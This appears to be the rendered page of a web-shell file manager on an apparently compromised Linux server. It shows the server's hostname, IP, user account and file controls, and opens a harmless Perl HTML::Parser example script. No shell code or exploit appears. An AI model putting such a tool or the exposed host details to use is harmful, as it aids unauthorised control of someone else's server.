[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-HTML-Parser
/
eg
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 hanchors
1,138 B
SET
[ EDIT ]
|
[ DEL ]
📄 hdump
541 B
SET
[ EDIT ]
|
[ DEL ]
📄 hform
1,846 B
SET
[ EDIT ]
|
[ DEL ]
📄 hlc
547 B
SET
[ EDIT ]
|
[ DEL ]
📄 hrefsub
2,782 B
SET
[ EDIT ]
|
[ DEL ]
📄 hstrip
1,714 B
SET
[ EDIT ]
|
[ DEL ]
📄 htext
548 B
SET
[ EDIT ]
|
[ DEL ]
📄 htextsub
788 B
SET
[ EDIT ]
|
[ DEL ]
📄 htitle
434 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: hdump
#!/usr/bin/perl -w use HTML::Parser (); use Data::Dump (); sub h { my($event, $line, $column, $text, $tagname, $attr) = @_; my @d = (uc(substr($event,0,1)) . " L$line C$column"); substr($text, 40) = "..." if length($text) > 40; push(@d, $text); push(@d, $tagname) if defined $tagname; push(@d, $attr) if $attr; print Data::Dump::dump(@d), "\n"; } my $p = HTML::Parser->new(api_version => 3); $p->handler(default => \&h, "event, line, column, text, tagname, attr"); $p->parse_file(@ARGV ? shift : *STDIN);